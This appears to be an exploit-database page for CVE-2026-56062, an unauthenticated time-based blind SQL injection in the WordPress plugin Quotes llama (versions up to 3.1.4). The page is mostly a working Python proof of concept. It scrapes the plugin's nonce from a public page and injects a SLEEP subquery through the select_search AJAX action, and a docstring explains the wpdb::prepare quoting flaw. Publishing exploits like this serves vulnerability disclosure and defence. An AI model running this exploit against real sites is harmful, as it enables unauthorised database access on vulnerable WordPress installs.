Lucene search
+L

📄 WordPress Quotes llama 3.1.4 Unauthenticated Blind SQL Injection

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 49 Views

Unauthenticated time-based blind SQL injection in WordPress Quotes llama <=3.1.4 via select_search (CVE-2026-56062).

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-56062
26 Jun 202617:45
circl
cve
CVE
CVE-2026-56062
26 Jun 202614:52
cve
cvelist
Cvelist
CVE-2026-56062 WordPress Quotes llama plugin <= 3.1.5 - SQL Injection vulnerability
26 Jun 202614:52
cvelist
euvd
EUVD
EUVD-2026-39716
26 Jun 202614:52
euvd
nvd
NVD
CVE-2026-56062
26 Jun 202615:16
nvd
patchstack
Patchstack
WordPress Quotes llama plugin <= 3.1.5 - SQL Injection vulnerability
25 Jun 202613:20
patchstack
ptsecurity
Positive Technologies
PT-2026-52769
26 Jun 202600:00
ptsecurity
vulnrichment
Vulnrichment
CVE-2026-56062 WordPress Quotes llama plugin <= 3.1.5 - SQL Injection vulnerability
26 Jun 202614:52
vulnrichment
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Quotes llama <= 3.1.4 - Unauthenticated Time-Based Blind SQL Injection (select_search)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/quotes-llama/
    # Software Link: https://downloads.wordpress.org/plugin/quotes-llama.3.1.4.zip
    # Version: 3.1.4 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-56062
    """
    Quotes llama <= 3.1.4 registers the unauthenticated AJAX action select_search
    (class-quotesllama.php:1050 wp_ajax_nopriv_select_search). The `sc` (search column) POST parameter
    is passed as the %1s argument of a wpdb::prepare() call (class-quotesllama.php ~2094):
    
        'SELECT ... FROM ' . $wpdb->prefix . 'quotes_llama' .
        ' WHERE %1s LIKE %s ORDER BY ...', $search_column, $like
    
    `%1s` (width-modified) is NOT quoted by wpdb::prepare — its quoting regex only matches a bare `%s` —
    and `$search_column` is not validated as an identifier, so `sc` is injected raw into column
    position. sanitize_text_field() leaves parentheses/spaces intact.
    
    Payload sc=(SELECT SLEEP(5)) executes while the query evaluates a quote row ->
        ... WHERE (SELECT SLEEP(5)) LIKE '%x%' ORDER BY ...
    
    The handler requires a `quotes_llama_nonce` (verified at ~:2092). Any public page rendering a
    quotes-llama shortcode prints it: gallery/auto modes embed gnonce="..." unconditionally; search
    mode embeds nonce="..." when anonymous search is enabled. This PoC harvests it from such a page.
    
    Prior state: plugin active (auto-creates wp_quotes_llama), at least one quote, and a published page
    with a quotes-llama shortcode (e.g. [quotes-llama mode='gallery']).
    """
    import argparse, sys, re, time
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def harvest_nonce(base, page):
        h = requests.get(base + page, verify=False, timeout=20).text
        m = re.findall(r'g?nonce="([a-f0-9]{10})"', h)
        return m[0] if m else None
    
    
    def probe(base, nonce, seconds):
        d = {"action": "select_search", "search_form": "1", "nonce": nonce, "term": "x",
             "sc": "(SELECT SLEEP(%d))" % seconds, "target": "quotes-llama-search"}
        t = time.time()
        requests.post(base + "/wp-admin/admin-ajax.php", data=d, verify=False, timeout=60)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--page", default="/qlg/", help="path of a page with a quotes-llama shortcode")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        nonce = harvest_nonce(base, args.page)
        if not nonce:
            print(f"[-] no quotes_llama nonce on {args.page} (add a [quotes-llama mode='gallery'] page)")
            return 1
        print(f"[*] Target: {base} | quotes_llama_nonce: {nonce}")
        t0 = probe(base, nonce, 0)
        t5 = probe(base, nonce, args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED — attacker-controlled SLEEP({args.sleep}) delayed the "
                  f"unauthenticated response by {t5 - t0:.2f}s (sc parameter, %1s column position).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.3
EPSS0.00229
SSVC
49